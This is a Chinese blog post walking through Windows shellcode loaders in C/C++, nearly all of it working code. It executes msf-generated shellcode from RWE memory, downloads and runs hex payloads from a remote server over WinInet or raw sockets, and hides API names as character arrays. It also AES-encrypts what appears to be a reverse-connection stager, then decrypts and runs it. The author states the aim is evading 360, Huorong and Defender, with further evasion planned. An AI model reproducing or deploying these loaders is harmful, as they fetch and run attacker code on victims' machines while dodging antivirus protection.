shellcode加载器--从入门到放弃

重剑无锋–代码篇复现

1.C/C++(vs2019)

(1).指针执行
shellcode放在data段
#include <windows.h>
#include <stdio.h>

//data段可读写
//linker指定一个连接选项/section:.data设置数据段可读可写可执行(rwe)
//数据段 :数据段(data segment)通常是指用来存放程序中已初始化的全局变量/静态变量的一块内存区域。数据段属于静态内存分配。
//因为buf是一个全局静态变量,因此存放在data段,不知道是不是vs的安全原因要赋予其可读可写可执行(默认data好像缺少权限执行,我没有安装gdb,没法用gdb调试查看data段的权限)。
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") 

//使用msf生成的弹计算器的shellcode
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main()

{
    ((void(*)()) &buf)();//将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode
    
}
shellcode放在栈上,复制到堆上
int main()

{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    LPVOID Memory = VirtualAlloc(NULL, sizeof buf, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //MEM_RESERVE让系统分配一块虚拟内存的地址,不让其他函数使用,保留指定地址空间,不分配物理内存。
    //MEM_COMMIT为指定地址空间提交物理内存。
    //只使用MEM_COMMIT也可以运行。
    //MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
    /*LPVOID VirtualAlloc{
                        LPVOID lpAddress, // 要分配的内存区域的地址,NULL由系统决定
                        DWORD dwSize, // 分配的大小
                        DWORD flAllocationType, // 分配的类型
                        DWORD flProtect // 该内存的初始保护属性
    };*/
    //PAGE_EXECUTE_READWRITE 可读可写可执行
    memcpy(Memory,buf, sizeof buf);
    ((void(*)()) Memory)();//将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode
    
}
shellcode放在web服务器上
#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#pragma comment(lib, "WinInet.lib")
/*#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")*/

char* GetUrlPage(const wchar_t* URL, const wchar_t* SubPath)
{
	HINTERNET hInternet, hConnect, hRequest = NULL;
	DWORD dwOpenRequestFlags, dwRet = 0;
	unsigned char* pResponseHeaderIInfo = NULL;
	DWORD dwResponseHeaderIInfoSize = 2048;
	BYTE* pBuf = NULL;
	DWORD dwBufSize = 64 * 2048;
	hInternet = ::InternetOpen(L"WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	hConnect = ::InternetConnect(hInternet,URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	if (NULL == hConnect)
		return NULL;

	dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	hRequest = HttpOpenRequest(hConnect,L"GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
	HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];
	RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);
	HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
	pBuf = new BYTE[dwBufSize];

	RtlZeroMemory(pBuf, dwBufSize);
	InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
	return (char*)pBuf;
}

int main(int argc, char* argv[])
{
	char* shellcode = GetUrlPage(L"192.168.0.104",L"/2");
	printf("%s \n", shellcode);
	int shellcode_length = strlen(shellcode);
	unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
	for (size_t count = 0; count < shellcode_length / 2; count++) {
		sscanf(shellcode, "%2hhx", &value[count]);
		shellcode += 2;
	}
	for (size_t count = 0; count < shellcode_length / 2; count++) {
		printf("%2hhx", value[count]);
	}
	void* exec = VirtualAlloc(NULL,shellcode_length/2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec,value, shellcode_length/2);
	((void(*)())exec)();
	system("pause");
	return 0;
}
使用socket实现远程加载
#include <iostream>
#include "test.h"
int main() {
	test x;
	SOCKET a;
	string ip = "x'x'x'x'x";
	string path = "payload.c";
	string ua;
	int port = 12000;
	int b;
	if (x.Init(&a, ip, port) == -1) {
		printf("初始化失败");
		return -1;
	}
	ua = "GET /"+path+" HTTP/1.1\r\n";
	ua += "Host: "+ip+":"+to_string(port)+"\r\n";
	ua += "Pragma : no - cache\r\n";
	ua += "Cache - Control : no - cache\r\n";
	ua += "Upgrade - Insecure - Requests : 1\r\n";
	ua += "User - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 88.0.4324.96 Safari / 537.36 Edg / 88.0.705.50\r\n";
	ua += "Accept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n";
	ua += "Accept-Encoding: gzip, deflate\r\n";
	ua += "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6\r\n";
	ua += "Connection: close\r\n";
	ua += "\n\n";
	if (x.senddata(a, ua) == -1) {
		printf("发送失败");
		return -1;
	}
	char * g = x.recvdata(a);
	if (g == "error") {
		printf("接收失败");
		return -1;
	}
	x.close(&a);
	int length = strlen(g);
	unsigned char* v = (unsigned char*)calloc(length, sizeof(unsigned char*));
	for (size_t i = 0; i < length / 2; i++) {
		sscanf(g, "%2hhx", &v[i]);
		g += 2;
	}
	LPVOID find = VirtualAlloc(NULL, length / 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READ);
	memcpy(find, v, length / 2);
	((void(*)())find)();
	free(v);
	return 0;
}
使用动态载入WinInet.dll实现远程加载
#include<windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

void testg(const char * test) {
	const char* a = test;
	int test_length = strlen(a);
	printf("%d", &test_length);
	unsigned char* v = (unsigned char*)calloc(test_length, sizeof(unsigned char*));
	for (size_t i = 0; i < test_length / 2; i++) {
		sscanf(a, "%2hhx", &v[i]);
		a += 2;
	}
	LPVOID find = VirtualAlloc(NULL, test_length/2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(find, v, test_length / 2);
	delete a;
	a = NULL;
	free(v);
	((void(*)())find)();
}

string del_chr(std::string test) {
	test.erase(test.find("unsigned char buf[] ="), strlen("unsigned char buf[] ="));
	test.erase(test.find(";"), 1);
	test.erase(test.find(" "), 1);
	while (test.find("\n") != -1) {
		try {
			test.erase(test.find("\n"), strlen("\n"));
		}
		catch (...) {
			continue;
		}
	}
	while (test.find("\\x") != -1) {
		try {
			test.erase(test.find("\\x"), strlen("\\x"));
		}
		catch (...) {
			continue;
		}
	}
	while (test.find("\"") != -1) {
		try {
			test.erase(test.find("\""), strlen("\""));
		}
		catch (...) {
			continue;
		}
	}
	return test;
}


int main() {
	HMODULE test;
	char a1 = '\x77';
	char b1 = '\x69';
	char c1 = '\x6e';
	char d1 = '\x49';
	char f1 = '\x65';
	char g1 = '\x74';
	char h1 = '\x2e';
	char i1 = '\x64';
	char j1 = '\x6c';
	char dasda[] = { a1, b1,c1,d1,c1,f1,g1,h1,i1,j1,j1,0};
	test = LoadLibraryA(dasda);
	if (!test)	{
		return NULL;
	}
	typedef LPVOID(WINAPI* pInternetOpen) (LPCTSTR, DWORD, LPCTSTR, LPCTSTR, DWORD);
	typedef LPVOID(WINAPI* pInternetOpenUrl) (LPVOID, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD);
	typedef BOOL(WINAPI* pInternetCloseHandle) (LPVOID);
	typedef BOOL(WINAPI* pInternetReadFile) (LPVOID, LPVOID, DWORD, LPDWORD);

	pInternetOpen z = NULL;
	pInternetOpenUrl x = NULL;
	pInternetCloseHandle c = NULL;
	pInternetReadFile vg = NULL;

	char XXX[] = { d1,c1,'\x74','\x65','\x72',c1,'\x65','\x74','\x4f','\x70','\x65',c1,'\x57',0 };
	char nnn[] = { d1,'\x6e','\x74','\x65','\x72','\x6e','\x65',g1,'\x4f','\x70','\x65','\x6e','\x55','\x72',j1,'\x57',0 };
	char yyy[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e',0 };
	char ggg[] = { d1,'\x6e','\x74','\x65','\x72','\x6e','\x65',g1,'\x52','\x65','\x61',i1,'\x46','\x69',j1,'\x65',0 };//不在最后加0要出问题
	z = (pInternetOpen)GetProcAddress(test, XXX);
	x = (pInternetOpenUrl)GetProcAddress(test, nnn);
	c = (pInternetCloseHandle)GetProcAddress(test, yyy);
	vg = (pInternetReadFile)GetProcAddress(test, ggg);
	LPVOID f = z(L"test/1.0", 0, NULL, NULL, 0);
	LPVOID g = x(f, L"http://xxxx:12000/payload.c", NULL, NULL, 0x04000000, NULL);
	DWORD dwMaxDataLength = 1024 * 1024;
	PBYTE pBuf = (PBYTE)malloc(dwMaxDataLength * sizeof(TCHAR));
	DWORD dwReadDataLength = NULL;
	BOOL bRet = TRUE;
	ZeroMemory(pBuf, dwMaxDataLength * sizeof(TCHAR));
	bRet = vg(g, pBuf, dwMaxDataLength-1, &dwReadDataLength);
	string x_1 = (char*)pBuf;
	string x_2 = del_chr(x_1);
	const char* test1 = x_2.c_str();
	testg(test1);
	delete test1;
	test1 = NULL;
	free(pBuf);
	return 0;
};
crypto++ AES加密shellcode

加解密代码在网上找的,shellcode解密时候有点小bug,第10到15字符会出错,需要替换为正确的,能够360/火绒,defender会检测出,所以后期关键的地方应该在于手动实现LoadLibrary,尝试替换VirtualAlloc,InternetReadFile,等容易被识别到的api,还有就是沙箱。

加密代码:

#include "osrng.h"
#include "modes.h"
#include "base64.h"
#include <iostream>
#include <string>
#include <cstdlib>
#include "cryptlib.h"
#include "aes.h"
#include "filters.h"
#include<sstream>
#include<fstream>
#include <windows.h>
#include <string>
#pragma comment(lib,"cryptlib.lib")
using CryptoPP::Base64Encoder;
using CryptoPP::Base64Decoder;
using CryptoPP::Exception;
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::StreamTransformationFilter;
using CryptoPP::AES;
using CryptoPP::CBC_Mode;
using namespace std;


// 使用AES(CBC模式)加密,返回base64编码的数据
string encrytByAES(const string& plain, const string& key, const string& iv) {
	string cipher;
	try
	{
		CBC_Mode< AES >::Encryption e;
		e.SetKeyWithIV((byte*)key.c_str(), key.size(), (byte*)iv.c_str());

		// The StreamTransformationFilter removes
		//  padding as required.
		StringSource s(plain, true,
			new StreamTransformationFilter(e,
				new StringSink(cipher)
			) // StreamTransformationFilter
		); // StringSource
	}
	catch (const CryptoPP::Exception& e)
	{
		cerr << e.what() << endl;
	}

	// Pretty print
	string encoded;
	StringSource(cipher, true,
		new Base64Encoder(
			new StringSink(encoded)
		) // HexEncoder
	); // StringSource
	return encoded;
}

// 使用AES(CBC模式)解密,encode为base64编码的密文
string decrytByAES(const string& encode, const string& key, const string& iv) {
	string encodeByte;
	StringSource(encode, true, new Base64Decoder(
		new StringSink(encodeByte)
	));

	string recovered;
	try
	{
		CBC_Mode< AES >::Decryption d;
		d.SetKeyWithIV((byte*)key.c_str(), key.size(), (byte*)iv.c_str());

		// The StreamTransformationFilter removes
		//  padding as required.
		StringSource s(encodeByte, true,
			new StreamTransformationFilter(d,
				new StringSink(recovered)
			) // StreamTransformationFilter
		); // StringSource
	}
	catch (const CryptoPP::Exception& e)
	{
		cerr << e.what() << endl;
	}
	cout << recovered << endl;
	return recovered;
}


int main()
{
	cout << "----------------" << endl
		<< "Start AES test:" << endl;

	//byte key[AES::DEFAULT_KEYLENGTH];
	string key = "fsdfsdfsdf123333";//要16个字符
	if (key.size() < 16) {
		key.insert(0, 16-key.size(), 'a');
	}
	if (key.size() > 16) {
		key = key.substr(0, 16);
	}
	//byte iv[AES::BLOCKSIZE];
	string iv = "312312312";
	string plain = "fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6954684c772607ffd531ff5757575757683a5679a7ffd5e9840000005b31c951516a03515168611e000053506857899fc6ffd5eb705b31d252680002408452525253525068eb552e3bffd589c683c35031ff57576aff5356682d06187bffd585c00f84c301000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff576a0751565068b757e00bffd5bf002f000039c774b731ffe991010000e9c9010000e88bffffff2f464b715a0069625e60f2d83bbbfa2c01e8d54271be9c2179ef00d1f52ef3d96a95ea5ada0f2fb65f88a46af859b2a515f228c120c12e4b498e11a5042171d4a6085296d1a6281e9ef9566976239d00557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d53494520392e303b2057696e646f7773204e5420362e313b20574f5736343b2054726964656e742f352e303b204c4242524f57534552290d0a008ce9b9ce592edc9efc173a60f6fa6514a7a67a018de367fc95e38db5450efce89536ca0e6c60e73d0c0113963f65895a0bf58743097cfa951dca05f6e245f271fceea0a2d90e999f365596976c6a586d5b7c837196a6ea83f7b7f97c00bf891acfd20a2cfec8590be3446e134c43c07647d9490e95d5b890857d57e32d151e8dc025555d8712958a9f5865e33068f4505d477bbf9928cecf736b047f480e211dec85cf2e8ae2c4fe5d43d6aa3b984b123bf56103fc3885963258c0e0fe1782820b381566a31980bc3e000092a690500068f0b5a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e8a9fdffff3139322e3136382e33312e330012345678";

	/*********************************\
	\*********************************/
	cout << "密钥key: " << key << endl;
	cout << "初始向量iv: " << iv << endl;
	/*********************************\
	\*********************************/
	cout << "明文plain text: " << plain << endl;
	string encoded = encrytByAES(plain, key, iv);
	cout << "密文cifer text: " << encoded << endl;
	for (int i = 9; i < 9 + 6; i++) {
		cout << plain[i];
	}
	cout << endl;
	ostringstream out;
	out << encoded << endl;
	char* path = "text.txt";
	ofstream fout(path);
	if (fout) {
		fout << out.str() << endl;
		fout.close();
	}
	string recovered = decrytByAES(encoded, key, iv);
	cout << "解密recover text: " << recovered << endl;
	return 0;
}

解密执行代码:

#include <windows.h>
#include <stdio.h>
#include "osrng.h"
#include "modes.h"
#include "base64.h"
#include <iostream>
#include <string>
#include <cstdlib>
#include "cryptlib.h"
#include "aes.h"
#include "filters.h"
#include <windows.h>
#pragma comment(lib,"cryptlib.lib")
using CryptoPP::Base64Encoder;
using CryptoPP::Base64Decoder;
using CryptoPP::Exception;
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::StreamTransformationFilter;
using CryptoPP::AES;
using CryptoPP::CBC_Mode;
using namespace std;

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") 

string decrytByAES(const string& encode, const string& key, const string& iv) {
    string encodeByte;
    StringSource(encode, true, new Base64Decoder(
        new StringSink(encodeByte)
    ));

    string recovered;
    try
    {
        CBC_Mode< AES >::Decryption d;
        d.SetKeyWithIV((byte*)key.c_str(), key.size(), (byte*)iv.c_str());

        // The StreamTransformationFilter removes
        //  padding as required.
        StringSource s(encodeByte, true,
            new StreamTransformationFilter(d,
                new StringSink(recovered)
            ) // StreamTransformationFilter
        ); // StringSource
    }
    catch (const CryptoPP::Exception& e)
    {
        cerr << e.what() << endl;
    }

    return recovered;
}



int main()

{
    string data = "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";
    string key = "fsdfsdfsdf123333";
    string iv = "312312312";
    string test = decrytByAES(data, key, iv);
    test.replace(9, 6, "000608");
    const char* a = test.c_str();
    int test_length = strlen(a);
    printf("%d", &test_length);
    unsigned char* v = (unsigned char*)calloc(test_length, sizeof(unsigned char*));
    for (size_t i = 0; i < test_length / 2; i++) {
        sscanf(a, "%2hhx", &v[i]);
        a += 2;
    }
    LPVOID find = VirtualAlloc(NULL, test_length / 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(find, v, test_length / 2);
    free(v);
    ((void(*)())find)();
    
}

版权声明:本文为xmd213131原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。